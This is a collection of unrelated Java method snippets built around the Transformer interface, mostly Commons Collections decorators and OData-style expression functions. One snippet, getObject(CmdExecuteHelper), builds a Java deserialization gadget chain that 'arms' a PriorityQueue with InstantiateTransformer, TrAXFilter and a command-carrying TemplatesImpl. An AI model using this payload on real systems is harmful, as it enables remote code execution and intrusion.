@Override public Iterator<Entry<K, V>> iterator() { return new LazyIteratorChain<Entry<K, V>>() { final Collection<K> keysCol = new ArrayList<K>(getMap().keySet()); final Iterator<K> keyIterator = keysCol.iterator(); @Override protected Iterator<? extends Entry<K, V>> nextIterator(int count) { if (!keyIterator.hasNext()) { return null; } final K key = keyIterator.next(); final Transformer<V, Entry<K, V>> entryTransformer = new Transformer<V, Entry<K, V>>() { @Override public Entry<K, V> transform(final V input) { return new MultiValuedMapEntry(key, input); } }; return new TransformIterator<V, Entry<K, V>>(new ValuesIterator(key), entryTransformer); } }; }
@Override public Object visitUnary(UnaryExpression ue, UnaryOperator operator, Object operand) { // operand is a Node<?> (Expression Tree) // Returns an instance of Transformer<?> (functional java) as a Node<?> (Expression Tree) Transformer trans; switch (operator) { case NOT: trans = Transformers.not(); break; case MINUS: trans = Transformers.minus(); break; default: throw new UnsupportedOperationException("Unsupported operator: " + operator.toUriLiteral()); } ExecutableExpressionTree.Node param = ExecutableExpressionTree.Node.class.cast(operand); return ExecutableExpressionTree.Node.createNode(trans, param); }
/** gt, greater than. */ public static Transformer<Duo<Object, Object>, Boolean> gt() { return new Transformer<Duo<Object, Object>, Boolean>() { @Override public Boolean transform(Duo<Object, Object> d) { if (involvesNumbers(d)) { return Number.class.cast(d.getA()).doubleValue() > Number.class.cast(d.getB()).doubleValue(); } if (involvesDates(d)) { Duo<Calendar, Calendar> duo = asDuoOfCalendar(d); return duo.getA().after(duo.getB()); } throw new IllegalStateException(notComparableMsg(d)); } }; }
/** ge, greater or equals than. */ public static Transformer<Duo<Object, Object>, Boolean> ge() { return new Transformer<Duo<Object, Object>, Boolean>() { @Override public Boolean transform(Duo<Object, Object> u) { if (involvesNumbers(u)) { return Number.class.cast(u.getA()).doubleValue() >= Number.class.cast(u.getB()).doubleValue(); } if (involvesDates(u)) { Duo<Calendar, Calendar> duo = asDuoOfCalendar(u); return duo.getA().after(duo.getB()) || duo.getA().equals(duo.getB()); } throw new IllegalStateException(notComparableMsg(u)); } }; }
/** substringof. */ public static Transformer<Duo<String, String>, Boolean> substringof() { return new Transformer<Duo<String, String>, Boolean>() { @Override public Boolean transform(Duo<String, String> u) { if (u == null || u.getA() == null) { return false; } return u.getA().contains(u.getB()); } }; }
/** * Factory method to create a transforming collection that will transform * existing contents of the specified collection. * <p> * If there are any elements already in the collection being decorated, they * will be transformed by this method. * Contrast this with {@link #transformingCollection(Collection, Transformer)}. * * @param <E> the type of the elements in the collection * @param collection the collection to decorate, must not be null * @param transformer the transformer to use for conversion, must not be null * @return a new transformed Collection * @throws NullPointerException if collection or transformer is null * @since 4.0 */ public static <E> TransformedCollection<E> transformedCollection(final Collection<E> collection, final Transformer<? super E, ? extends E> transformer) { final TransformedCollection<E> decorated = new TransformedCollection<E>(collection, transformer); // null collection & transformer are disallowed by the constructor call above if (collection.size() > 0) { @SuppressWarnings("unchecked") // collection is of type E final E[] values = (E[]) collection.toArray(); // NOPMD - false positive for generics collection.clear(); for (final E value : values) { decorated.decorated().add(transformer.transform(value)); } } return decorated; }
/** indexof. */ public static Transformer<Duo<String, String>, Integer> indexof() { return new Transformer<Duo<String, String>, Integer>() { @Override public Integer transform(Duo<String, String> u) { if (u == null || u.getA() == null) { return -1; } return u.getA().indexOf(u.getB()); } }; }
/** substring(string, int, int). */ public static Transformer<Trio<String, Integer, Integer>, String> substring2() { return new Transformer<Trio<String, Integer, Integer>, String>() { @Override public String transform(Trio<String, Integer, Integer> u) { if (u == null || u.getA() == null) { return null; } return u.getA().substring(u.getB(), u.getC() - u.getB()); } }; }
/** * Factory method that performs validation and copies the parameter arrays. * * @param <I> the input type * @param <O> the output type * @param predicates array of predicates, cloned, no nulls * @param transformers matching array of transformers, cloned, no nulls * @param defaultTransformer the transformer to use if no match, null means return null * @return the <code>chained</code> transformer * @throws NullPointerException if array is null * @throws NullPointerException if any element in the array is null */ @SuppressWarnings("unchecked") public static <I, O> Transformer<I, O> switchTransformer(final Predicate<? super I>[] predicates, final Transformer<? super I, ? extends O>[] transformers, final Transformer<? super I, ? extends O> defaultTransformer) { FunctorUtils.validate(predicates); FunctorUtils.validate(transformers); if (predicates.length != transformers.length) { throw new IllegalArgumentException("The predicate and transformer arrays must be the same size"); } if (predicates.length == 0) { return (Transformer<I, O>) (defaultTransformer == null ? ConstantTransformer.<I, O>nullTransformer() : defaultTransformer); } return new SwitchTransformer<I, O>(predicates, transformers, defaultTransformer); }
/** * Compose 2 Transformers into 1. * @param <A> Input type. * @param <B> Transition type. * @param <C> Output type. * @param first firstly invoked Transformer. * @param second secondly invoked Transformer. * @return {@code second.transform(first.transform(A))}. */ public static <A,B,C> Transformer<A,C> compose(Transformer<A,B> first, Transformer<? super B,C> second) { final Transformer<A,B> ffirst = first; final Transformer<? super B,C> fsecond = second; return new Transformer<A,C>() { @Override public C transform(A u) { return fsecond.transform(ffirst.transform(u)); } }; }
/** eq, equals. */ public static Transformer<Duo<Object, Object>, Boolean> eq() { return new Transformer<Duo<Object, Object>, Boolean>() { @Override public Boolean transform(Duo<Object, Object> d) { if (d.getA() == null || d.getB() == null) { return d.getA() == d.getB(); } // subclasses of Number reimplement #equals(o) to compare instance types if (involvesNumbers(d)) { return Number.class.cast(d.getA()).doubleValue() == Number.class.cast(d.getB()).doubleValue(); } // dates can be instances of Date or Calendar if (involvesDates(d)) { Duo<Calendar, Calendar> duo = asDuoOfCalendar(d); return duo.getA().equals(duo.getB()); } return d.getA().equals(d.getB()); } }; }
/** and. */ public static Transformer<Duo<Boolean, Boolean>, Boolean> and() { return new Transformer<Duo<Boolean, Boolean>, Boolean>() { @Override public Boolean transform(Duo<Boolean, Boolean> u) { return u.getA() && u.getB(); } }; }
/** or. */ public static Transformer<Duo<Boolean, Boolean>, Boolean> or() { return new Transformer<Duo<Boolean, Boolean>, Boolean>() { @Override public Boolean transform(Duo<Boolean, Boolean> u) { return u.getA() || u.getB(); } }; }
/** * Factory method that performs validation. * <p> * This factory creates a transformer that just returns the input object when * the predicate is false. * * @param <T> input and output type for the transformer * @param predicate predicate to switch on * @param trueTransformer transformer used if true * @return the <code>if</code> transformer * @throws NullPointerException if either argument is null */ public static <T> Transformer<T, T> ifTransformer( final Predicate<? super T> predicate, final Transformer<? super T, ? extends T> trueTransformer) { if (predicate == null) { throw new NullPointerException("Predicate must not be null"); } if (trueTransformer == null) { throw new NullPointerException("Transformer must not be null"); } return new IfTransformer<T, T>(predicate, trueTransformer, NOPTransformer.<T>nopTransformer()); }
/** sub. */ public static Transformer<Duo<Number, Number>, Number> sub() { return new Transformer<Duo<Number, Number>, Number>() { @Override public Number transform(Duo<Number, Number> u) { return u.getA().doubleValue() - u.getB().doubleValue(); } }; }
/** mul. */ public static Transformer<Duo<Number, Number>, Number> mul() { return new Transformer<Duo<Number, Number>, Number>() { @Override public Number transform(Duo<Number, Number> u) { return u.getA().doubleValue() * u.getB().doubleValue(); } }; }
/** * Constructor that wraps (not copies). * * @param map the map to decorate, must not be null * @param factory the factory to use, must not be null * @throws NullPointerException if map or factory is null */ protected LazyMap(final Map<K,V> map, final Transformer<? super K, ? extends V> factory) { super(map); if (factory == null) { throw new NullPointerException("Factory must not be null"); } this.factory = factory; }
/** * Constructor that wraps (not copies). * <p> * If there are any elements already in the collection being decorated, they * are NOT transformed. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, must not be null * @param valueTransformer the transformer to use for value conversion, must not be null * @throws NullPointerException if map or either of the transformers is null */ protected TransformedSplitMap(final Map<K, V> map, final Transformer<? super J, ? extends K> keyTransformer, final Transformer<? super U, ? extends V> valueTransformer) { super(map); if (keyTransformer == null) { throw new NullPointerException("KeyTransformer must not be null."); } this.keyTransformer = keyTransformer; if (valueTransformer == null) { throw new NullPointerException("ValueTransformer must not be null."); } this.valueTransformer = valueTransformer; }
/** day. */ public static Transformer<Date, Integer> day() { return new Transformer<Date, Integer>() { @Override public Integer transform(Date u) { Calendar c = Calendar.getInstance(); c.setTime(u); return c.get(Calendar.DAY_OF_MONTH); } }; }
/** hour. */ public static Transformer<Date, Integer> hour() { return new Transformer<Date, Integer>() { @Override public Integer transform(Date u) { Calendar c = Calendar.getInstance(); c.setTime(u); return c.get(Calendar.HOUR_OF_DAY); } }; }
/** minute. */ public static Transformer<Date, Integer> minute() { return new Transformer<Date, Integer>() { @Override public Integer transform(Date u) { Calendar c = Calendar.getInstance(); c.setTime(u); return c.get(Calendar.MINUTE); } }; }
/** * Create a {@link IndexedCollection}. * * @param coll decorated {@link Collection} * @param keyTransformer {@link Transformer} for generating index keys * @param map map to use as index * @param uniqueIndex if the index shall enforce uniqueness of index keys */ public IndexedCollection(final Collection<C> coll, final Transformer<C, K> keyTransformer, final MultiMap<K, C> map, final boolean uniqueIndex) { super(coll); this.keyTransformer = keyTransformer; this.index = map; this.uniqueIndex = uniqueIndex; reindex(); }
/** round. */ public static Transformer<Double, Double> round() { return new Transformer<Double, Double>() { @Override public Double transform(Double u) { return (double)Math.round(u); } }; }
/** floor. */ public static Transformer<Double, Double> floor() { return new Transformer<Double, Double>() { @Override public Double transform(Double u) { return (double)Math.floor(u); } }; }
/** * Transformer method that performs validation. * * @param <T> the type of the objects to be created * @param paramTypes the constructor parameter types * @param args the constructor arguments * @return an instantiate transformer * @throws IllegalArgumentException if paramTypes does not match args */ public static <T> Transformer<Class<? extends T>, T> instantiateTransformer(final Class<?>[] paramTypes, final Object[] args) { if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("Parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return new InstantiateTransformer<T>(); } return new InstantiateTransformer<T>(paramTypes, args); }
/** * Constructs an ObjectGraphIterator using a root object and transformer. * <p> * The root object can be an iterator, in which case it will be immediately * looped around. * * @param root the root object, null will result in an empty iterator * @param transformer the transformer to use, null will use a no effect transformer */ @SuppressWarnings("unchecked") public ObjectGraphIterator(final E root, final Transformer<? super E, ? extends E> transformer) { super(); if (root instanceof Iterator) { this.currentIterator = (Iterator<? extends E>) root; } else { this.root = root; } this.transformer = transformer; }
/** * Creates a Node from a Transformer. * @param <T> Type of the Collection entry. * @param <R> Return type. * @param t a transformer that accepts a <?> and returns a <?>. * @param sub Node at `depth+1` in the tree. * @return a new Node. */ public static <T,R> Node<T,R> createNode(final Transformer<Object,R> t, final Node<T,?> sub) { return new Node<T,R>() { @Override public R exec(T element) { return t.transform(sub.exec(element)); } }; }
/** * Copy method * * @param transformers the transformers to copy * @return a clone of the transformers */ @SuppressWarnings("unchecked") static <I, O> Transformer<I, O>[] copy(final Transformer<? super I, ? extends O>... transformers) { if (transformers == null) { return null; } return (Transformer<I, O>[]) transformers.clone(); }
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception { Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray()); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; return queue; }
/** * Gets an iterator for all mappings stored in this {@link MultiValueMap}. * <p> * The iterator will return multiple Entry objects with the same key * if there are multiple values mapped to this key. * <p> * NOTE: calling {@link java.util.Map.Entry#setValue(Object)} on any of the returned * elements will result in a {@link UnsupportedOperationException}. * * @return the iterator of all mappings in this map * @since 4.0 */ public Iterator<Entry<K, V>> iterator() { final Collection<K> allKeys = new ArrayList<K>(keySet()); final Iterator<K> keyIterator = allKeys.iterator(); return new LazyIteratorChain<Entry<K, V>>() { @Override protected Iterator<? extends Entry<K, V>> nextIterator(int count) { if ( ! keyIterator.hasNext() ) { return null; } final K key = keyIterator.next(); final Transformer<V, Entry<K, V>> transformer = new Transformer<V, Entry<K, V>>() { @Override public Entry<K, V> transform(final V input) { return new Entry<K, V>() { @Override public K getKey() { return key; } @Override public V getValue() { return input; } @Override public V setValue(V value) { throw new UnsupportedOperationException(); } }; } }; return new TransformIterator<V, Entry<K, V>>(new ValuesIterator(key), transformer); } }; }
/** * Validate method * * @param transformers the transformers to validate */ static void validate(final Transformer<?, ?>... transformers) { if (transformers == null) { throw new NullPointerException("The transformer array must not be null"); } for (int i = 0; i < transformers.length; i++) { if (transformers[i] == null) { throw new NullPointerException( "The transformer array must not contain a null transformer, index " + i + " was null"); } } }
/** * Factory method to create a transforming navigable set that will transform * existing contents of the specified navigable set. * <p> * If there are any elements already in the set being decorated, they * will be transformed by this method. * Contrast this with {@link #transformingNavigableSet(NavigableSet, Transformer)}. * * @param <E> the element type * @param set the set to decorate, must not be null * @param transformer the transformer to use for conversion, must not be null * @return a new transformed {@link NavigableSet} * @throws NullPointerException if set or transformer is null */ public static <E> TransformedNavigableSet<E> transformedNavigableSet(final NavigableSet<E> set, final Transformer<? super E, ? extends E> transformer) { final TransformedNavigableSet<E> decorated = new TransformedNavigableSet<E>(set, transformer); if (set.size() > 0) { @SuppressWarnings("unchecked") // set is type E final E[] values = (E[]) set.toArray(); // NOPMD - false positive for generics set.clear(); for (final E value : values) { decorated.decorated().add(transformer.transform(value)); } } return decorated; }
/** * Hidden constructor for the use by the static factory methods. * * @param clone if {@code true} the input arguments will be cloned * @param predicates array of predicates, no nulls * @param transformers matching array of transformers, no nulls * @param defaultTransformer the transformer to use if no match, null means return null */ @SuppressWarnings("unchecked") private SwitchTransformer(final boolean clone, final Predicate<? super I>[] predicates, final Transformer<? super I, ? extends O>[] transformers, final Transformer<? super I, ? extends O> defaultTransformer) { super(); iPredicates = clone ? FunctorUtils.copy(predicates) : predicates; iTransformers = clone ? FunctorUtils.copy(transformers) : transformers; iDefault = (Transformer<? super I, ? extends O>) (defaultTransformer == null ? ConstantTransformer.<I, O>nullTransformer() : defaultTransformer); }
/** * Factory method that performs validation. * * @param <I> input type for the transformer * @param <O> output type for the transformer * @param predicate predicate to switch on * @param trueTransformer transformer used if true * @param falseTransformer transformer used if false * @return the <code>if</code> transformer * @throws NullPointerException if either argument is null */ public static <I, O> Transformer<I, O> ifTransformer(final Predicate<? super I> predicate, final Transformer<? super I, ? extends O> trueTransformer, final Transformer<? super I, ? extends O> falseTransformer) { if (predicate == null) { throw new NullPointerException("Predicate must not be null"); } if (trueTransformer == null || falseTransformer == null) { throw new NullPointerException("Transformers must not be null"); } return new IfTransformer<I, O>(predicate, trueTransformer, falseTransformer); }